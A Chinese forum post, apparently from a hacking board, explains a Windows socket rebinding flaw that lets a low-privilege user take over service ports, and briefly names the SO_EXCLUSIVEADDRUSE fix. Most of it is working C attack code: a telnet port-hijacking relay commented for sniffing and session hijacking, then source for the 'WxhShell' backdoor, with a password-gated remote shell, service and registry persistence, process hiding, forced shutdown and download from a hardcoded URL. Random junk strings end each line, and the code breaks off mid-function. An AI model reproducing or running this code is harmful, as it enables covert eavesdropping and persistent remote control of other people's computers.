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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p T?}Kc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }dX*[I   
FaAC&F@u  
  saddr.sin_family = AF_INET; MpT8" /.]A  
Q0sI(V#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hgG9m[?K  
: $1?i)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8S TvCH"Z_  
"x0^#AVg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b/K PaNv  
H*n-_{h"t  
  这意味着什么?意味着可以进行如下的攻击: { l/U6](  
q1x`Bj   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `7E;VL^Y1  
(MM]N=Tw4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yZY\MB/  
qz_7%c]K[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 LBeF&sb6  
kt#fMd$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u[;\y|75  
Q-okt RK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J3V= 46Yc  
tAd%#:K  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z _$%-6  
BKCiIfkZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5Pc;5 o0C  
8Al{+gx@?  
  #include v4TQX<0s  
  #include -m zIT4  
  #include u {cW:  
  #include    QT5TE: D  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a=_g*OK}D  
  int main() o'aEY<mZ7  
  { QE+g j8  
  WORD wVersionRequested; 1ba~SHi  
  DWORD ret; 5DU6rks%  
  WSADATA wsaData; =j_4S<  
  BOOL val; %A/0 '  
  SOCKADDR_IN saddr; 1t~G|zhX  
  SOCKADDR_IN scaddr; n+9=1Oo"  
  int err; *8A  
  SOCKET s; C3f' {}  
  SOCKET sc; ! I:%0D  
  int caddsize; df+l%9@  
  HANDLE mt; )r?}P1J7  
  DWORD tid;   KZY}%il!`  
  wVersionRequested = MAKEWORD( 2, 2 ); _yx>TE2e  
  err = WSAStartup( wVersionRequested, &wsaData ); *KF#'wi  
  if ( err != 0 ) { e2Pcm_Ahv*  
  printf("error!WSAStartup failed!\n"); q9K)Xk$LF  
  return -1; qBQ?HLK-  
  } G$"h&Xy1c  
  saddr.sin_family = AF_INET; &m7]v,&  
   Xu'&ynID  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 < NY^M!  
`$IK`O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fplow  
  saddr.sin_port = htons(23); ys^oG$lq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Lg+Ac5y}`  
  { +)om^e@.  
  printf("error!socket failed!\n"); H|<[YYk  
  return -1; ;8&3 dm]  
  } NiEUW.0  
  val = TRUE; RLXL&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,-LwtePJ0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) NA`SyKtg_  
  { Q8tL[>Xt  
  printf("error!setsockopt failed!\n"); >>)b'c  
  return -1; O6 3<AY@  
  } 2wg5#i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8'[7 )I=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~W'{p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8 >EWKI9  
d"mkL-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =o(5_S.u;  
  { 9&2O 9Nz6  
  ret=GetLastError(); 8 ^2oWC#U(  
  printf("error!bind failed!\n"); t|\%VC  
  return -1; I*{ nP)^9  
  } d L 1tl  
  listen(s,2); 4[r0G+  
  while(1) myQagqRx  
  { ~H_/zK6e  
  caddsize = sizeof(scaddr); nNV'O(x}  
  //接受连接请求 =:Fc;n>c<K  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Fnv;^}\z  
  if(sc!=INVALID_SOCKET) }eU*( }<^  
  { ~ 'cmSiz-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xh,qNnGGi  
  if(mt==NULL) ^zmG0EH,  
  { <c-=3}=U\  
  printf("Thread Creat Failed!\n"); %@aSe2B  
  break; "Yv_B3p   
  } .V/Rfq  
  } .GXBc  
  CloseHandle(mt); =[{i{x|Qz  
  } Gr'  CtO  
  closesocket(s); bHYy}weZ  
  WSACleanup(); X/!o\yyT  
  return 0; nwe* BVp  
  }   85$m[+md  
  DWORD WINAPI ClientThread(LPVOID lpParam) dr}`H,X"3  
  { x,+{9  
  SOCKET ss = (SOCKET)lpParam; |bHelD|  
  SOCKET sc; -UEZ#Q  
  unsigned char buf[4096]; TDKki(o=~  
  SOCKADDR_IN saddr; BLdvyVFx  
  long num; ]i)c{y  
  DWORD val; $y&E(J  
  DWORD ret; BwGfTua  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (O?.)jEW(.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =l;ewlU  
  saddr.sin_family = AF_INET; faX#**r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X1|njJGO1  
  saddr.sin_port = htons(23); Jb@V}Ul$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Lc,Pom  
  { *b}HNX|  
  printf("error!socket failed!\n"); ;O6;.5q&  
  return -1; |Nn)m  
  } RDi]2  
  val = 100; BWa,f8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~d4 )/y  
  { F?*-4I-  
  ret = GetLastError(); M61xPq8y5  
  return -1; =pO^7g  
  } *8Xh(` Mj7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~O0 $Suv  
  { y/{fX(aV  
  ret = GetLastError(); wC+u73599  
  return -1; *[Tz![|  
  } nI-w}NQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H3 ^},.  
  { n8 i] z  
  printf("error!socket connect failed!\n"); SiRaFj4s"  
  closesocket(sc); KIf dafRL  
  closesocket(ss); gMmaK0uhS  
  return -1; eS\Vib  
  } SCHP L.n  
  while(1) vn!3l1\+J  
  { ,X-bJA@(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GqvpA# i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HGs $*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;kQhx6Z  
  num = recv(ss,buf,4096,0); f!uwzHA`?  
  if(num>0) @[<><uTH  
  send(sc,buf,num,0); s}9S8@#  
  else if(num==0) b9J_1Gl]  
  break; R6Km\N  
  num = recv(sc,buf,4096,0); m@2QnA[ 4  
  if(num>0) wj^3N7_:w  
  send(ss,buf,num,0); V)HG(k  
  else if(num==0) kR-SE5`Jk  
  break; O7m(o:t x3  
  } L^2%1GfE{  
  closesocket(ss); #ym'AN  
  closesocket(sc); >V?eog%~  
  return 0 ; -`kW&I0  
  } W0@n/U  
%COX7gV  
feDlH[$  
========================================================== t7Iv?5]N  
HZC"nb}r4  
下边附上一个代码,,WXhSHELL |!3DPA(_  
 4iazNl#  
========================================================== Z, Yb&b  
qFCOUl  
#include "stdafx.h" %9F([K  
wx= $2N6  
#include <stdio.h> ?}tFN_X"  
#include <string.h> *=/ { HvJ  
#include <windows.h> Cazocq5  
#include <winsock2.h> @sW24J1q+  
#include <winsvc.h> +NZ_D#u  
#include <urlmon.h> x;P_1J%Q  
.\ULbN3Z  
#pragma comment (lib, "Ws2_32.lib") 2ozax)GY  
#pragma comment (lib, "urlmon.lib") XFHYQ2ME2  
yiXSYD  
#define MAX_USER   100 // 最大客户端连接数 S]e|"n~@  
#define BUF_SOCK   200 // sock buffer _~l5u8{^6  
#define KEY_BUFF   255 // 输入 buffer WdH$JTk1  
QC OM_$y  
#define REBOOT     0   // 重启 {tuYs:  
#define SHUTDOWN   1   // 关机 #4Rx]zW^%  
S"bg9o  
#define DEF_PORT   5000 // 监听端口 NdA[C|_8}f  
~F|+o}a `  
#define REG_LEN     16   // 注册表键长度 y1eW pPJa  
#define SVC_LEN     80   // NT服务名长度 3</_c1~  
[2!w_Iw'  
// 从dll定义API ) <[XtK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *eTqVG.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jjRi*^d9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '6iEMg&3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P6'1.R  
JW83Tp8[8  
// wxhshell配置信息 h,u, ^ r  
struct WSCFG { PB\(=  
  int ws_port;         // 监听端口 B[Ku\A6&  
  char ws_passstr[REG_LEN]; // 口令 )1J R#  
  int ws_autoins;       // 安装标记, 1=yes 0=no n`B:;2X,  
  char ws_regname[REG_LEN]; // 注册表键名 Ct<udO  
  char ws_svcname[REG_LEN]; // 服务名 _/s$ZCd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *MhRW,=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z;,u}u}aI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m{Wu" ;e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y1W1=Uc uk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" urs,34h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~tS Z%q  
J9--tJ?[>o  
}; G#q@v(_b  
TTX5EDCrC  
// default Wxhshell configuration ok"k*?Ov  
struct WSCFG wscfg={DEF_PORT, Y|F9}hj(  
    "xuhuanlingzhe", I#Y22&G1  
    1, E1aHKjLQ  
    "Wxhshell", O_ muD\  
    "Wxhshell", njB;&N)I  
            "WxhShell Service", oQ/E}Zk@  
    "Wrsky Windows CmdShell Service", ?DS@e@lx  
    "Please Input Your Password: ",  c(f  
  1, T?CdZc.  
  "http://www.wrsky.com/wxhshell.exe", F`9xVnK=  
  "Wxhshell.exe" lBLARz&c#  
    }; 'A=^Se`=  
t:x\kp  
// 消息定义模块 b;B%q$sntC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wtLO!=B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \$~|ZwV{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $t'MSlF  
char *msg_ws_ext="\n\rExit."; 2G & a{  
char *msg_ws_end="\n\rQuit."; '5#^i:  
char *msg_ws_boot="\n\rReboot..."; h ohfE3rd  
char *msg_ws_poff="\n\rShutdown..."; T[w]o}>cW  
char *msg_ws_down="\n\rSave to "; _2Zx?<] 2E  
h9&0Z +zs  
char *msg_ws_err="\n\rErr!"; !3c\NbU  
char *msg_ws_ok="\n\rOK!"; 1Z/(G1  
a{'vN93  
char ExeFile[MAX_PATH]; g]l'' 7G  
int nUser = 0; cN-?l7  
HANDLE handles[MAX_USER]; gS!:+G%  
int OsIsNt; t9GR69v:?  
^,lIK+#Elz  
SERVICE_STATUS       serviceStatus; ehGLk7@7&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HYD'.uj  
htO +z7  
// 函数声明 Y!aSs3c  
int Install(void); :%_LpZ  
int Uninstall(void); g{]0sn#  
int DownloadFile(char *sURL, SOCKET wsh); 8rAg \H3E  
int Boot(int flag); WH#1 zv  
void HideProc(void); -lr vKrt7  
int GetOsVer(void); [r\Du|R-*  
int Wxhshell(SOCKET wsl); q<x/Hat)  
void TalkWithClient(void *cs); g>E LGG |Q  
int CmdShell(SOCKET sock); TM__I\+Q  
int StartFromService(void); n$A9_cHF7  
int StartWxhshell(LPSTR lpCmdLine); <6%?OJhp  
e-})6)XgA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GLH0 ]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M~Tuj1?  
p}}R-D&K  
// 数据结构和表定义 x xHY+(m  
SERVICE_TABLE_ENTRY DispatchTable[] = H*?t^  
{ Ea=8}6`s  
{wscfg.ws_svcname, NTServiceMain}, D=A&+6B@-  
{NULL, NULL} XAD- 'i  
}; Si4!R+4w  
#ZUI)9My@  
// 自我安装 4@+`q *  
int Install(void) CCs%%U/=  
{ ch*8B(:  
  char svExeFile[MAX_PATH]; (U D nsF  
  HKEY key; Y Vt% 0  
  strcpy(svExeFile,ExeFile); OR P\b  
X~b X5b[P  
// 如果是win9x系统,修改注册表设为自启动 CImWd.W9~  
if(!OsIsNt) { `P@<3]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y,qI@n<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hk;5w{t}}  
  RegCloseKey(key); h ]5(].  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q^P}\wb>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9 &dtd  
  RegCloseKey(key); S3C]AhW;  
  return 0; )rIwqUgp6\  
    } zF`0J  
  } >.Pnkx*  
} L8@f-Kk  
else { c`)\Pb/O  
etQCzYIhn  
// 如果是NT以上系统,安装为系统服务 ;HfmzY(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '?{OZXg  
if (schSCManager!=0) EgEa1l!NSQ  
{ dM.f]-g  
  SC_HANDLE schService = CreateService (' (K9@}  
  ( GhAlx/K  
  schSCManager, N@4w! HpJ  
  wscfg.ws_svcname, B&M%I:i  
  wscfg.ws_svcdisp, SBu"3ym  
  SERVICE_ALL_ACCESS, ZuzEg*lb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y sC>i`n9  
  SERVICE_AUTO_START, ,C\i^>=  
  SERVICE_ERROR_NORMAL, Gq)]s'r2  
  svExeFile, DaQ?\uq  
  NULL, u=*FI  
  NULL, c1(RuP:S  
  NULL, .|KyNBn  
  NULL, BiLY(1,  
  NULL kM l+yli3c  
  ); (Bb5?fw  
  if (schService!=0) 6D;Sgc5"  
  { G6Axs1a  
  CloseServiceHandle(schService); fivw~z|[@  
  CloseServiceHandle(schSCManager); zy?|ODM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5:[0z5Hww  
  strcat(svExeFile,wscfg.ws_svcname); -a}Dp~j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )th<,Lo3#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y%$AhRk*U  
  RegCloseKey(key); @}u*|P*  
  return 0; h%na>G  
    } tPWLg),  
  } oN~&_*FE  
  CloseServiceHandle(schSCManager); T3.&R#1M8-  
} caR<Kb:;*  
} ,$L4dF3  
IxN9&xa  
return 1; |)th1 UH  
} *\a4wZ6<3  
ah$b [\#C  
// 自我卸载 un"Gozmt5  
int Uninstall(void) #6aW9GO  
{ BN5[,J  
  HKEY key; +zN-!5x  
 M mj;-u  
if(!OsIsNt) { nIf1sH>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8P\G }  
  RegDeleteValue(key,wscfg.ws_regname); Pl06:g2I  
  RegCloseKey(key); 6dr%;Wp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PcMD])Z{G  
  RegDeleteValue(key,wscfg.ws_regname); pZ{+c  
  RegCloseKey(key); |-67 \p]  
  return 0; <]t%8GB2V  
  } :as$4|  
} .WJ YQi  
} kPG-hD  
else { `:fZ)$sY  
 :A_@,Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,Ks8*;#r  
if (schSCManager!=0) WM$ MPs  
{ LKB$,pR~1l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y=?3 js?O  
  if (schService!=0) ;u ({\K  
  { x_Y!5yg E  
  if(DeleteService(schService)!=0) { epe)a  
  CloseServiceHandle(schService); l}|%5.5-  
  CloseServiceHandle(schSCManager); @+2=g WH  
  return 0; !X#OOqPr=  
  } !;v|'I  
  CloseServiceHandle(schService); m4Qh%}9%  
  } a$OE0zn`  
  CloseServiceHandle(schSCManager); X=&ET)8-Y  
} `UyG_;  
} '3tCH)s  
1W LXM^ 4  
return 1; !sP {gi#=  
} wH&!W~M  
*I.f1lz%*  
// 从指定url下载文件 ORw,)l  
int DownloadFile(char *sURL, SOCKET wsh) `cUl7 'j  
{ AM\'RHL  
  HRESULT hr; cd_yzpL@}J  
char seps[]= "/"; :J@ gmY:C  
char *token; V!A~K   
char *file; ,/I.t DH  
char myURL[MAX_PATH]; prF%.(G2)  
char myFILE[MAX_PATH]; =z69e%.  
` p-cSxR_  
strcpy(myURL,sURL); %)W2H^  
  token=strtok(myURL,seps); &)ChQZA  
  while(token!=NULL) Do7Tj  
  { Cctu|^V  
    file=token; D_*WYV  
  token=strtok(NULL,seps); - %h.t+=U  
  } :U%W%  
nh>vixe  
GetCurrentDirectory(MAX_PATH,myFILE); Y eo]]i{  
strcat(myFILE, "\\"); 'G4ICtHQ  
strcat(myFILE, file); ^"2J]&x`G  
  send(wsh,myFILE,strlen(myFILE),0); Om\vMd@!  
send(wsh,"...",3,0); *Kg ks4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "?xHlYj@+  
  if(hr==S_OK) D=Gtq6jd  
return 0; zu{P#~21  
else ,!y$qVg'\f  
return 1; PiIpnoM  
2r?G6D|  
} K7:)nv E  
-;m0R  
// 系统电源模块 )9`qG:b'  
int Boot(int flag) l<LI7Z]A  
{ AJ`h9 %B  
  HANDLE hToken; 'Aq{UGN  
  TOKEN_PRIVILEGES tkp; Yujiqi]J;  
IueFx u  
  if(OsIsNt) { W+?4jwqw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "(~^w=d:$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cf20.F{<  
    tkp.PrivilegeCount = 1; 7' V@+5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u0c1:Uv#~e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _op}1   
if(flag==REBOOT) { .jE{3^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )yZ^[uJ}3C  
  return 0; k"zv~`i'  
} zE9W8:7  
else { &.Qrs :U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'XjZ_ng  
  return 0; dOH &  
} |FZ/[9*  
  } @9RM9zK.q  
  else { {qJ1ko)$  
if(flag==REBOOT) { L+i=VGm0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BG]#o| KW  
  return 0; ?X<eV1a   
} Zt{[ *~  
else { L48_96  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Hd ={CFip  
  return 0; C XMLt  
}  {Gk1vcq  
} ZG8DIV\D7  
D.u{~  
return 1; mL{6L?  
} "&?kC2Y|  
`e&Suyf4B  
// win9x进程隐藏模块 G}raA%  
void HideProc(void) Z0", !6nS  
{ R.1.)P[  
+lcbi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4p;`C  
  if ( hKernel != NULL ) :J&oX <nF^  
  { Ka V8[|Gn,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #f]SK[nR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s-Tv8goNV  
    FreeLibrary(hKernel); ={&j07,*a  
  } H40p86@M  
*P=VFP  
return; E4/Dr}4  
} xOmi\VbM  
mNTzUoZF'@  
// 获取操作系统版本 ;'@9[N9  
int GetOsVer(void) ~HsJUro  
{ N5 6g+,w%)  
  OSVERSIONINFO winfo; }(73Syl#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3;A)W18]  
  GetVersionEx(&winfo); SO'vp z{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N<VJ(20y  
  return 1; y??XIsF  
  else \X D6 pr@  
  return 0; d/kv|$XW  
} ndMA-`Ny,  
dkTX  
// 客户端句柄模块 &n:.k}/P  
int Wxhshell(SOCKET wsl) =-n}[Y}A  
{ U!\.]jfS  
  SOCKET wsh; uHzU-FZ|B  
  struct sockaddr_in client; GGs}i1m  
  DWORD myID; f r6 fj  
;[OH(!  
  while(nUser<MAX_USER) &}B|"s[  
{ [sj osV  
  int nSize=sizeof(client); 4!no~ $b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q/0Tj]D  
  if(wsh==INVALID_SOCKET) return 1; 7;wd(8  
. 3T3E X|G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @lrztM  
if(handles[nUser]==0) -x`@6  
  closesocket(wsh); :*9Wh  
else ;iL#7NG-R  
  nUser++; &d^m 1  
  } S;#'M![8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =dYqS[kJW  
k,+0u/I  
  return 0; <R=Zs[9M1  
} >_T-u<E  
s9DYi~/,  
// 关闭 socket g*C7 '  
void CloseIt(SOCKET wsh) tl^9WG  
{ }Oq5tC@$G  
closesocket(wsh); vV-`jsq20H  
nUser--; cIOlhX@  
ExitThread(0); 9EibIOD^/  
} }N6.Uu 5zI  
M-Y_ Wb3  
// 客户端请求句柄 [5Mr@f4I  
void TalkWithClient(void *cs) ],Do6 @M-  
{ ^o&. fQ*  
z5*'{t)  
  SOCKET wsh=(SOCKET)cs; l}A93jSL  
  char pwd[SVC_LEN]; Ne1$ee. NE  
  char cmd[KEY_BUFF]; \xw5JGm  
char chr[1]; K_Eux rPn  
int i,j; 5D//*}b,  
"'?>fe\qG  
  while (nUser < MAX_USER) { |z^^.d~a0  
z1X`o  
if(wscfg.ws_passstr) { k!'a,R:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8$Y9ORs4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bq0zxg%  
  //ZeroMemory(pwd,KEY_BUFF); 8XE7]&)];  
      i=0; 3eQ&F~S  
  while(i<SVC_LEN) { l}K37f  
0{-q#/  
  // 设置超时 NyNXP_8  
  fd_set FdRead; %:* YO;dw'  
  struct timeval TimeOut; :& ."ttf=  
  FD_ZERO(&FdRead); tf`^v6m%]  
  FD_SET(wsh,&FdRead); ds[|   
  TimeOut.tv_sec=8; d5:c^`  
  TimeOut.tv_usec=0; j*r{2f4Rt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !'*-$e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c(s.5p ^  
xdkZdx>N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J<jy2@"tXo  
  pwd=chr[0]; M[,@{u/  
  if(chr[0]==0xd || chr[0]==0xa) { g{&ui.ml&  
  pwd=0; h>m"GpF x  
  break; k~1?VQ+?M  
  } >}6%#CAf  
  i++; draN0v f  
    } w NdisI  
~oY^;/ j  
  // 如果是非法用户,关闭 socket \z(gqkc 6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?^\|-Gr  
} Z"fJ`--  
.U]-j\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wg]Qlw`\|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9CD_ os\h  
Y`a3tO=Pd  
while(1) { {F.[&/A  
nZYBE030  
  ZeroMemory(cmd,KEY_BUFF); /f;~X"!  
ak!G8'w  
      // 自动支持客户端 telnet标准   KJ4.4Zq{c  
  j=0; P( 8OQL:  
  while(j<KEY_BUFF) { o0KL5].  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ##"HF  
  cmd[j]=chr[0]; Oxd]y1  
  if(chr[0]==0xa || chr[0]==0xd) { ]~3V}z,T*  
  cmd[j]=0; -6B4sZpzD  
  break; r mg}N  
  } 7J<5f)  
  j++; QhJiB%M  
    } 8 v%o,"  
&^Q/,H~S  
  // 下载文件 c\AfaK^KF  
  if(strstr(cmd,"http://")) { JZyAXm%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $*fMR,~t&  
  if(DownloadFile(cmd,wsh)) l!u_"I8j5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g]0_5?i  
  else P-"y3 ZE=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @~a%/GQ#n*  
  } %1+4_g9  
  else { (SAs-  
Rnq7LGy  
    switch(cmd[0]) { 3h`f  6  
  ]~siaiN[  
  // 帮助 9XB8VKu8  
  case '?': { {I't]Qj_e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l+^*LqEW2  
    break; |&i<bqLw:  
  } d/~9&wLSb  
  // 安装 }@d@3  
  case 'i': { 13x p_j  
    if(Install()) `VguQl_,gA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b4N[)%@  
    else m ~$v;?i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X!EP$!  
    break; 8YSAf+{FtK  
    } :^h$AWR^f  
  // 卸载 ab?aQ*$+  
  case 'r': { z<' u1l3  
    if(Uninstall()) o?Oc7 $+u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 HYwLG:\~  
    else @f3E`8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %d9uTm;  
    break; >i?oC^QM  
    } O?#7N[7  
  // 显示 wxhshell 所在路径 4{|"7/PE1  
  case 'p': { '!B&:X)  
    char svExeFile[MAX_PATH]; J5,9_uo]  
    strcpy(svExeFile,"\n\r"); 7s^'d,P  
      strcat(svExeFile,ExeFile); X 0+vXz{~g  
        send(wsh,svExeFile,strlen(svExeFile),0); F*ylnB3z  
    break; DkDmE  
    } l+0oS'`V*L  
  // 重启 BnF^u5kv%  
  case 'b': { 8zW2zkv2|#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +9sQZB# (  
    if(Boot(REBOOT)) [j+sC*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U8$27jq  
    else { mj7#&r,1l  
    closesocket(wsh); G$('-3@i`w  
    ExitThread(0); PXNuL&   
    } c'\dFb9a  
    break; 8P\Zo8}v  
    } W ]8 QM1$  
  // 关机 j8:\%|  
  case 'd': { Dk51z@  
